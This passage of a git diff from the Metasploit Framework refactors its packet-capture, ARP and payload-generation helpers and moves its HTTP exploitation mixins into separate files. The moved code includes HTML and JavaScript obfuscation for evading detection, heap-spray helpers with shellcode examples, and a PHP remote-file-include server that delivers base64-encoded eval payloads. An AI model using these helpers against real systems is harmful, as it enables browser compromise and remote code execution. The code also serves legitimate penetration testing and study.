yield(pkt) - @capture_count += 1 - end - end - reader.join - rescue ::Exception - raise $! - ensure - reader.kill if reader.alive? + @capture_count ||= 0 + capture.each do |pkt| + yield(pkt) + @capture_count += 1 end - @capture_count end @@ -242,10 +230,9 @@ module Msf pcap.inject(pkt) Rex.sleep((delay * 1.0)/1000) end - GC.start end - # Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires + # capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires # a payload and a destination address. To send to the broadcast address, set bcast # to true (this will guarantee that packets will be sent even if ARP doesn't work # out). @@ -262,24 +249,20 @@ module Msf # The return value either be a PacketFu::Packet object, or nil def inject_reply(proto=:udp, pcap=self.capture) - reply = nil - to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 - if not pcap - raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" - else - begin - ::Timeout.timeout(to) do - pcap.each do |r| - packet = PacketFu::Packet.parse(r) - next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto - reply = packet - break - end + # Defaults to ~2 seconds + to = (datastore['TIMEOUT'] * 4) / 1000.0 + raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap + begin + ::Timeout.timeout(to) do + pcap.each do |r| + packet = PacketFu::Packet.parse(r) + next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto + return packet end - rescue ::Timeout::Error end + rescue ::Timeout::Error end - return reply + nil end # This ascertains the correct Ethernet addresses one should use to @@ -328,20 +311,19 @@ module Msf end begin - to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0 + to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 ::Timeout.timeout(to) do - while (my_packet = inject_reply(:udp, self.arp_capture)) - if my_packet.payload == secret - dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr - src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr - return [dst_mac, src_mac] - else - next - end + loop do + my_packet = inject_reply(:udp, self.arp_capture) + next unless my_packet + next unless my_packet.payload == secret + dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr + src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr + return [dst_mac, src_mac] end end rescue ::Timeout::Error - # Well, that didn't work (this common on networks where there's no gatway, like + # Well, that didn't work (this is common on networks where there's no gateway, like # VMWare network interfaces. We'll need to use a fake source hardware address. self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00" end @@ -354,26 +336,31 @@ module Msf return self.arp_cache[:gateway] unless should_arp? target_ip source_ip = Rex::Socket.source_address(target_ip) raise RuntimeError, "Could not access the capture process." unless self.arp_capture + p = arp_packet(target_ip, source_ip) - inject_eth(:eth_type => 0x0806, - :payload => p, - :pcap => self.arp_capture, - :eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)] - ) - begin - to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 - ::Timeout.timeout(to) do - while (my_packet = inject_reply(:arp, self.arp_capture)) - if my_packet.arp_saddr_ip == target_ip + + # Try up to 3 times to get an ARP response + 1.upto(3) do + inject_eth(:eth_type => 0x0806, + :payload => p, + :pcap => self.arp_capture, + :eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)] + ) + begin + to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 + ::Timeout.timeout(to) do + loop do + my_packet = inject_reply(:arp, self.arp_capture) + next unless my_packet + next unless my_packet.arp_saddr_ip == target_ip self.arp_cache[target_ip] = my_packet.eth_saddr return self.arp_cache[target_ip] - else - next end end + rescue ::Timeout::Error end - rescue ::Timeout::Error end + nil end # Creates a full ARP packet, mainly for use with inject_eth() diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 230c53cdbf..8d4739a453 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -224,12 +224,12 @@ module Exploit::CmdStager def guess_flavor # First try to guess a compatible flavor based on the module & target information. unless target_flavor.nil? - case target_flavor.class.to_s - when 'Array' + case target_flavor + when Array return target_flavor[0].to_sym - when 'String' + when String return target_flavor.to_sym - when 'Symbol' + when Symbol return target_flavor end end @@ -283,12 +283,12 @@ module Exploit::CmdStager # @return [Boolean] true if compatible, false otherwise. def compatible_flavor?(f) return true if target_flavor.nil? - case target_flavor.class.to_s - when 'String' + case target_flavor + when String return true if target_flavor == f.to_s - when 'Array' + when Array target_flavor.each { |tr| return true if tr.to_sym == f } - when 'Symbol' + when Symbol return true if target_flavor == f end false diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index f6051b4fcf..49f9b72e67 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -48,7 +48,7 @@ module Exploit::EXE end def generate_payload_exe(opts = {}) - return get_custom_exe if datastore.include? 'EXE::Custom' + return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty? return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -73,7 +73,7 @@ module Exploit::EXE end def generate_payload_exe_service(opts = {}) - return get_custom_exe if datastore.include? 'EXE::Custom' + return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty? return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -96,7 +96,7 @@ module Exploit::EXE end def generate_payload_dll(opts = {}) - return get_custom_exe if datastore.include? 'EXE::Custom' + return get_custom_exe unless datastore['EXE::Custom'].to_s.strip.empty? return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -125,7 +125,7 @@ module Exploit::EXE end def generate_payload_msi(opts = {}) - return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom' + return get_custom_exe(datastore['MSI::Custom']) unless datastore['MSI::Custom'].to_s.strip.empty? return get_eicar_exe if datastore['MSI::EICAR'] exe = generate_payload_exe(opts) diff --git a/lib/msf/core/exploit/ftp.rb b/lib/msf/core/exploit/ftp.rb index a1c8cc9589..adc0132b02 100644 --- a/lib/msf/core/exploit/ftp.rb +++ b/lib/msf/core/exploit/ftp.rb @@ -83,7 +83,11 @@ module Exploit::Remote::Ftp # convert port to FTP syntax datahost = "#{$1}.#{$2}.#{$3}.#{$4}" dataport = ($5.to_i * 256) + $6.to_i - self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport) + self.datasocket = Rex::Socket::Tcp.create( + 'PeerHost' => datahost, + 'PeerPort' => dataport, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) end self.datasocket end diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 470558ce32..8c024ed314 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -210,6 +210,54 @@ module Exploit::Remote::HttpClient return nclient end + # + # Converts datastore options into configuration parameters for the + # Metasploit::LoginScanner::Http class. Any parameters passed into + # this method will override the defaults. + # + def configure_http_login_scanner(conf) + { + host: rhost, + port: rport, + ssl: ssl, + ssl_version: ssl_version, + proxies: datastore['PROXIES'], + framework: framework, + framework_module: self, + vhost: vhost, + user_agent: datastore['UserAgent'], + evade_uri_encode_mode: datastore['HTTP::uri_encode_mode'], + evade_uri_full_url: datastore['HTTP::uri_full_url'], + evade_pad_method_uri_count: datastore['HTTP::pad_method_uri_count'], + evade_pad_uri_version_count: datastore['HTTP::pad_uri_version_count'], + evade_pad_method_uri_type: datastore['HTTP::pad_method_uri_type'], + evade_pad_uri_version_type: datastore['HTTP::pad_uri_version_type'], + evade_method_random_valid: datastore['HTTP::method_random_valid'], + evade_method_random_invalid: datastore['HTTP::method_random_invalid'], + evade_method_random_case: datastore['HTTP::method_random_case'], + evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'], + evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'], + evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'], + evade_pad_fake_headers: datastore['HTTP::pad_fake_headers'], + evade_pad_fake_headers_count: datastore['HTTP::pad_fake_headers_count'], + evade_pad_get_params: datastore['HTTP::pad_get_params'], + evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'], + evade_pad_post_params: datastore['HTTP::pad_post_params'], + evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'], + evade_uri_fake_end: datastore['HTTP::uri_fake_end'], + evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'], + evade_header_folding: datastore['HTTP::header_folding'], + ntlm_use_ntlmv2_session: datastore['NTLM::UseNTLM2_session'], + ntlm_use_ntlmv2: datastore['NTLM::UseNTLMv2'], + ntlm_send_lm: datastore['NTLM::SendLM'], + ntlm_send_ntlm: datastore['NTLM::SendNTLM'], + ntlm_send_spn: datastore['NTLM::SendSPN'], + ntlm_use_lm_key: datastore['NTLM::UseLMKey'], + ntlm_domain: datastore['DOMAIN'], + digest_auth_iis: datastore['DigestAuthIIS'] + }.merge(conf) + end + # # Passes the client connection down to the handler to see if it's of any # use. diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 8414c642f8..652bdf6fbc 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -15,6 +15,9 @@ module Msf ### module Exploit::Remote::HttpServer + autoload :HTML, 'msf/core/exploit/http/server/html' + autoload :PHPInclude, 'msf/core/exploit/http/server/php_include' + include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report @@ -302,7 +305,7 @@ module Exploit::Remote::HttpServer when /opera\/(\d+(:?\.\d+)*)/ fp[:ua_name] = HttpClients::OPERA fp[:ua_ver] = $1 - when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/ + when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/i, /mozilla\/[0-9]+\.[0-9] \(.+ rv:([0-9]+\.[0-9])\)/i fp[:ua_name] = HttpClients::IE fp[:ua_ver] = $1 else @@ -332,7 +335,7 @@ module Exploit::Remote::HttpServer end # Determine the specific OS variant - + # Note that we assume windows variants are the # client version and mismatch server editions. @@ -356,7 +359,7 @@ module Exploit::Remote::HttpServer when /windows nt 6.2/ fp[:os_name] = 'Windows 8' when /windows nt 6.3/ - fp[:os_name] = 'Windows 8.1' + fp[:os_name] = 'Windows 8.1' when /gentoo/ fp[:os_vendor] = 'Gentoo' when /debian/ @@ -700,366 +703,4 @@ module Exploit::Remote::HttpServer Metasploit::Concern.run(self) end -### -# -# This module provides methods for exploiting an HTTP client by acting -# as an HTTP server. -# -### -module Exploit::Remote::HttpServer::HTML - - include Msf::Exploit::Remote::HttpServer - - UTF_NONE = 'none' - UTF_7 = 'utf-7' - UTF_7_ALL = 'utf-7-all' - UTF_8 = 'utf-8' - UTF_16_LE = 'utf-16le' - UTF_16_BE = 'utf-16be' - UTF_16_BE_MARKER = 'utf-16be-marker' - UTF_32_LE = 'utf-32le' - UTF_32_BE = 'utf-32be' - -protected - - def initialize(info = {}) - super - - register_evasion_options( - [ - # utf-8, utf-7 and utf-7-all are currently not supported by - # most browsers. as such, they are not added by default. The - # mixin supports encoding using them, however they are not - # listed in the Option. - OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', UTF_NONE, [UTF_NONE, UTF_16_LE, UTF_16_BE, UTF_16_BE_MARKER, UTF_32_LE, UTF_32_BE]]), - OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]), - OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]), - ], Exploit::Remote::HttpServer::HTML) - end - - # - # Obfuscates symbols found within a javascript string. - # - # Returns an ObfuscateJS object - # - def obfuscate_js(javascript, opts) - js = Rex::Exploitation::ObfuscateJS.new(javascript, opts) - js.obfuscate - return js - end - - # - # Encrypts a given javascript string using the provided key. - # - # Returns a string containing the encrypted string and a loader - # - def encrypt_js(javascript, key) - Rex::Exploitation::EncryptJS.encrypt(javascript, key) - end - - # - # Returns the heaplib javascript, including any custom javascript supplied - # by the caller. - # - def heaplib(custom_js = '', opts = {}) - Rex::Exploitation::HeapLib.new(custom_js, opts).to_s - end - - # - # Returns the heaplib2 javascript - # - def js_heaplib2(custom_js = '', opts = {}) - @cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={}) - end - - def js_base64 - @cache_base64 ||= Rex::Exploitation::Js::Utils.base64 - end - - - # - # Downloads data using ajax - # - # Supported arguments: - # method => Optional. HTTP Verb (eg. GET/POST) - # path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you - # must use a relative path, otherwise you will be blocked by the browser. - # data => Optional. Data to pass to the server - # - # Example of using the ajax_download() function: - # For IE, your web server has to return this header to download binary data: - # "text/plain; charset=x-user-defined" - # <script> - # #{js_ajax_download} - # - # ajax_download({path:"/test.bin"}); - # </script> - # - def js_ajax_download - @cache_ajax_download ||= Rex::Exploitation::Js::Network.ajax_download - end - - - # - # Transfers data using a POST request - # - def js_ajax_post - @cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post - end - - # - # This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's - # suitable for a no-spray technique. There should be an allocation that contains an array of - # pointers to strings that we control, and each string should reside in its own buffer. - # Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on - # Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific - # writing style, so make sure you have the following before using: - # * You must have the following at the beginning of your HTML file: - # <!doctype html> - # <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> - # * You must have the following in <meta>: - # <meta> - # <?IMPORT namespace="t" implementation="#default#time2"> - # </meta> - # - # The "mstime_malloc" JavaScript function supports the following arguments: - # shellcode => The shellcode to place. - # offset => Optional. The pointer index that points to the shellcode. - # heapBlockSize => Object size. - # objId => The ID to your ANIMATECOLOR element. - # - # Example of using "js_mstime_malloc": - # <script> - # #{js_mstime_malloc} - # - # shellcode = unescape("%u4141%u4141%u4141%u4141%u4141"); - # offset = 3; - # s = 0x58; - # mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId}); - # </script> - # - def js_mstime_malloc - @cache_mstime_malloc ||= Rex::Exploitation::Js::Memory.mstime_malloc - end - - # - # This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty) - # function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's - # publication on "DEPS – Precise Heap Spray on Firefox and IE10". In IE, the shellcode - # should land at address 0x0c0d2020, as this is the most consistent location across - # various versions. - # - # The "sprayHeap" JavaScript function supports the following arguments: - # shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes. - # objId => Optional. The ID for a <div> HTML tag. - # offset => Optional. Number of bytes to align the shellcode, default: 0x00 - # heapBlockSize => Optional. Allocation size, default: 0x80000 - # maxAllocs => Optional. Number of allocation calls, default: 0x350 - # - # Example of using the 'sprayHeap' function: - # <script> - # #{js_property_spray} - # - # var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444"); - # sprayHeap({shellcode:s, heapBlockSize:0x80000}); - # </script> - # - def js_property_spray - @cache_property_spray ||= Rex::Exploitation::Js::Memory.property_spray - end - - def js_heap_spray - @cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray - end - - def js_explib2 - @explib2 ||= ::Rex::Exploitation::Js::Memory.explib2 - end - - def js_explib2_payload(payload="exec") - @explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload) - end - - def js_os_detect - @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os - end - - def js_ie_addons_detect - @cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons - end - - def js_misc_addons_detect - @cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons - end - - # Transmits a html response to the supplied client - # - # HTML evasions are implemented here. - def send_response_html(cli, body, headers = {}) - body = body.to_s.unpack("C*").pack("C*") - if datastore['HTML::base64'] != 'none' - case datastore['HTML::base64'] - when 'plain' - body = Rex::Text.encode_base64(body) - when 'single_pad' - body = Rex::Text.encode_base64(' ' + body) - when 'double_pad' - body = Rex::Text.encode_base64(' ' + body) - when 'random_space_injection' - body = Rex::Text.encode_base64(body) - new = '' - while (body.size > 0) - new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n") - end - body = new - end - - body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' + - 'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' + - body + '">Could not render object</OBJECT></BODY></HTML>' - end - - if datastore['HTML::javascript::escape'] > 0 - datastore['HTML::javascript::escape'].times { - body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>' - } - end - - if [UTF_16_LE, UTF_16_BE, UTF_32_LE, UTF_32_BE, UTF_7, UTF_8].include?(datastore['HTML::unicode']) - headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode'] - body = Rex::Text.to_unicode(body, datastore['HTML::unicode']) - else - # special cases - case datastore['HTML::unicode'] - when UTF_16_BE_MARKER - headers['Content-Type'] = 'text/html' - body = "\xFE\xFF" + Rex::Text.to_unicode(body, UTF_16_BE) - when UTF_7_ALL - headers['Content-Type'] = "text/html; charset=#{UTF_7}" - body = Rex::Text.to_unicode(body, UTF_7, 'all') - when UTF_NONE - # do nothing - else - raise RuntimeError, 'Invalid unicode. how did you get here?' - end - end - - send_response(cli, body, headers) - end - end - - -### -# -# This module provides methods for exploiting PHP scripts by acting as an HTTP -# server hosting the payload for Remote File Include vulnerabilities. -# -### -module Exploit::Remote::HttpServer::PHPInclude - - include Msf::Exploit::Remote::HttpServer - - def initialize(info = {}) - - # Override TCPServer's stance of passive - super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive)) - - register_evasion_options( - [ - OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]), - ], Exploit::Remote::HttpServer::PHPInclude - ) - end - - # Since these types of vulns are Stance::Aggressive, override HttpServer's - # normal non-automatic behaviour and allow things to run us automatically - def autofilter - true - end - - ## - # :category: Exploit::Remote::TcpServer overrides - # - # Override exploit() to handle service start/stop - # - # Disables SSL for the service since we always want to serve our evil PHP - # files from a non-ssl server. There are two reasons for this: - # 1. https is only supported on PHP versions after 4.3.0 and only if - # the OpenSSL extension is compiled in, a non-default configuration on - # most systems - # 2. somewhat less importantly, the SSL option would conflict with the - # option for our client connecting to the vulnerable server - # - def exploit - old_ssl = datastore["SSL"] - datastore["SSL"] = false - start_service - datastore["SSL"] = old_ssl - - #if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr)) - # print_error("Warning: the URL used for the include might be wrong!") - # print_error("If the target system can route to #{srvhost_addr} it") - # print_error("is safe to ignore this warning. If not, try using a") - # print_error("reverse payload instead of bind.") - #end - - begin - print_status("PHP include server started."); - php_exploit - ::IO.select(nil, nil, nil, 5) - rescue ::Interrupt - raise $! - ensure - stop_service - end - end - - # - # Transmits a PHP payload to the web application - # - def send_php_payload(cli, body, headers = {}) - - case datastore['PHP::Encode'] - when 'base64' - body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>" - when 'none' - body = "<?php #{body} ?>" - end - - send_response(cli, body, headers) - end - - ## - # :category: Event Handlers - # - # Handle an incoming PHP code request - # - def on_request_uri(cli, request, headers={}) - # Re-generate the payload - return if ((p = regenerate_payload(cli)) == nil) - - # Send it to the application - send_php_payload(cli, p.encoded, headers) - end - - # - # The PHP include URL (pre-encoded) - # - # Does not take SSL into account. For the reasoning behind this, see - # {#exploit}. - # - # @return [String] The URL to be used as the argument in a call to - # +require+, +require_once+, or +include+ or +include_once+ in a - # vulnerable PHP app. - def php_include_url(sock=nil) - host = srvhost_addr - if Rex::Socket.is_ipv6?(host) - host = "[#{host}]" - end - "http://#{host}:#{datastore['SRVPORT']}#{get_resource()}?" - end - -end -end - diff --git a/lib/msf/core/exploit/http/server/html.rb b/lib/msf/core/exploit/http/server/html.rb new file mode 100644 index 0000000000..d8e1f23fda --- /dev/null +++ b/lib/msf/core/exploit/http/server/html.rb @@ -0,0 +1,254 @@ + +module Msf + +### +# +# This module provides methods for exploiting an HTTP client by acting +# as an HTTP server. +# +### +module Exploit::Remote::HttpServer::HTML + + include Msf::Exploit::Remote::HttpServer + + UTF_NONE = 'none' + UTF_7 = 'utf-7' + UTF_7_ALL = 'utf-7-all' + UTF_8 = 'utf-8' + UTF_16_LE = 'utf-16le' + UTF_16_BE = 'utf-16be' + UTF_16_BE_MARKER = 'utf-16be-marker' + UTF_32_LE = 'utf-32le' + UTF_32_BE = 'utf-32be' + +protected + + def initialize(info = {}) + super + + register_evasion_options( + [ + # utf-8, utf-7 and utf-7-all are currently not supported by + # most browsers. as such, they are not added by default. The + # mixin supports encoding using them, however they are not + # listed in the Option. + OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', UTF_NONE, [UTF_NONE, UTF_16_LE, UTF_16_BE, UTF_16_BE_MARKER, UTF_32_LE, UTF_32_BE]]), + OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]), + OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]), + ], Exploit::Remote::HttpServer::HTML) + end + + # + # Obfuscates symbols found within a javascript string. + # + # Returns an ObfuscateJS object + # + def obfuscate_js(javascript, opts) + js = Rex::Exploitation::ObfuscateJS.new(javascript, opts) + js.obfuscate + return js + end + + # + # Encrypts a given javascript string using the provided key. + # + # Returns a string containing the encrypted string and a loader + # + def encrypt_js(javascript, key) + Rex::Exploitation::EncryptJS.encrypt(javascript, key) + end + + # + # Returns the heaplib javascript, including any custom javascript supplied + # by the caller. + # + def heaplib(custom_js = '', opts = {}) + Rex::Exploitation::HeapLib.new(custom_js, opts).to_s + end + + # + # Returns the heaplib2 javascript + # + def js_heaplib2(custom_js = '', opts = {}) + @cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={}) + end + + def js_base64 + @cache_base64 ||= Rex::Exploitation::Js::Utils.base64 + end + + + # + # Downloads data using ajax + # + # Supported arguments: + # method => Optional. HTTP Verb (eg. GET/POST) + # path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you + # must use a relative path, otherwise you will be blocked by the browser. + # data => Optional. Data to pass to the server + # + # Example of using the ajax_download() function: + # For IE, your web server has to return this header to download binary data: + # "text/plain; charset=x-user-defined" + # <script> + # #{js_ajax_download} + # + # ajax_download({path:"/test.bin"}); + # </script> + # + def js_ajax_download + @cache_ajax_download ||= Rex::Exploitation::Js::Network.ajax_download + end + + + # + # Transfers data using a POST request + # + def js_ajax_post + @cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post + end + + # + # This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's + # suitable for a no-spray technique. There should be an allocation that contains an array of + # pointers to strings that we control, and each string should reside in its own buffer. + # Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on + # Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific + # writing style, so make sure you have the following before using: + # * You must have the following at the beginning of your HTML file: + # <!doctype html> + # <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> + # * You must have the following in <meta>: + # <meta> + # <?IMPORT namespace="t" implementation="#default#time2"> + # </meta> + # + # The "mstime_malloc" JavaScript function supports the following arguments: + # shellcode => The shellcode to place. + # offset => Optional. The pointer index that points to the shellcode. + # heapBlockSize => Object size. + # objId => The ID to your ANIMATECOLOR element. + # + # Example of using "js_mstime_malloc": + # <script> + # #{js_mstime_malloc} + # + # shellcode = unescape("%u4141%u4141%u4141%u4141%u4141"); + # offset = 3; + # s = 0x58; + # mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId}); + # </script> + # + def js_mstime_malloc + @cache_mstime_malloc ||= Rex::Exploitation::Js::Memory.mstime_malloc + end + + # + # This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty) + # function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's + # publication on "DEPS – Precise Heap Spray on Firefox and IE10". In IE, the shellcode + # should land at address 0x0c0d2020, as this is the most consistent location across + # various versions. + # + # The "sprayHeap" JavaScript function supports the following arguments: + # shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes. + # objId => Optional. The ID for a <div> HTML tag. + # offset => Optional. Number of bytes to align the shellcode, default: 0x00 + # heapBlockSize => Optional. Allocation size, default: 0x80000 + # maxAllocs => Optional. Number of allocation calls, default: 0x350 + # + # Example of using the 'sprayHeap' function: + # <script> + # #{js_property_spray} + # + # var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444"); + # sprayHeap({shellcode:s, heapBlockSize:0x80000}); + # </script> + # + def js_property_spray + @cache_property_spray ||= Rex::Exploitation::Js::Memory.property_spray + end + + def js_heap_spray + @cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray + end + + def js_explib2 + @explib2 ||= ::Rex::Exploitation::Js::Memory.explib2 + end + + def js_explib2_payload(payload="exec") + @explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload) + end + + def js_os_detect + @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os + end + + def js_ie_addons_detect + @cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons + end + + def js_misc_addons_detect + @cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons + end + + # Transmits a html response to the supplied client + # + # HTML evasions are implemented here. + def send_response_html(cli, body, headers = {}) + body = body.to_s.unpack("C*").pack("C*") + if datastore['HTML::base64'] != 'none' + case datastore['HTML::base64'] + when 'plain' + body = Rex::Text.encode_base64(body) + when 'single_pad' + body = Rex::Text.encode_base64(' ' + body) + when 'double_pad' + body = Rex::Text.encode_base64(' ' + body) + when 'random_space_injection' + body = Rex::Text.encode_base64(body) + new = '' + while (body.size > 0) + new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n") + end + body = new + end + + body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' + + 'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' + + body + '">Could not render object</OBJECT></BODY></HTML>' + end + + if datastore['HTML::javascript::escape'] > 0 + datastore['HTML::javascript::escape'].times { + body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>' + } + end + + if [UTF_16_LE, UTF_16_BE, UTF_32_LE, UTF_32_BE, UTF_7, UTF_8].include?(datastore['HTML::unicode']) + headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode'] + body = Rex::Text.to_unicode(body, datastore['HTML::unicode']) + else + # special cases + case datastore['HTML::unicode'] + when UTF_16_BE_MARKER + headers['Content-Type'] = 'text/html' + body = "\xFE\xFF" + Rex::Text.to_unicode(body, UTF_16_BE) + when UTF_7_ALL + headers['Content-Type'] = "text/html; charset=#{UTF_7}" + body = Rex::Text.to_unicode(body, UTF_7, 'all') + when UTF_NONE + # do nothing + else + raise RuntimeError, 'Invalid unicode. how did you get here?' + end + end + + send_response(cli, body, headers) + end + +end + +end + diff --git a/lib/msf/core/exploit/http/server/php_include.rb b/lib/msf/core/exploit/http/server/php_include.rb new file mode 100644 index 0000000000..4f43082ef3 --- /dev/null +++ b/lib/msf/core/exploit/http/server/php_include.rb @@ -0,0 +1,116 @@ + +module Msf + +### +# +# This module provides methods for exploiting PHP scripts by acting as an HTTP +# server hosting the payload for Remote File Include vulnerabilities. +# +### +module Exploit::Remote::HttpServer::PHPInclude + + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + + # Override TCPServer's stance of passive + super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive)) + + register_evasion_options( + [ + OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]), + ], Exploit::Remote::HttpServer::PHPInclude + ) + end + + # Since these types of vulns are Stance::Aggressive, override HttpServer's + # normal non-automatic behaviour and allow things to run us automatically + def autofilter + true + end + + ## + # :category: Exploit::Remote::TcpServer overrides + # + # Override exploit() to handle service start/stop + # + # Disables SSL for the service since we always want to serve our evil PHP + # files from a non-ssl server. There are two reasons for this: + # 1. https is only supported on PHP versions after 4.3.0 and only if + # the OpenSSL extension is compiled in, a non-default configuration on + # most systems + # 2. somewhat less importantly, the SSL option would conflict with the + # option for our client connecting to the vulnerable server + # + def exploit + old_ssl = datastore["SSL"] + datastore["SSL"] = false + start_service + datastore["SSL"] = old_ssl + + #if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr)) + # print_error("Warning: the URL used for the include might be wrong!") + # print_error("If the target system can route to #{srvhost_addr} it") + # print_error("is safe to ignore this warning. If not, try using a") + # print_error("reverse payload instead of bind.") + #end + + begin + print_status("PHP include server started."); + php_exploit + ::IO.select(nil, nil, nil, 5) + rescue ::Interrupt + raise $! + ensure + stop_service + end + end + + # + # Transmits a PHP payload to the web application + # + def send_php_payload(cli, body, headers = {}) + + case datastore['PHP::Encode'] + when 'base64' + body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>" + when 'none' + body = "<?php #{body} ?>" + end + + send_response(cli, body, headers) + end + + ## + # :category: Event Handlers + # + # Handle an 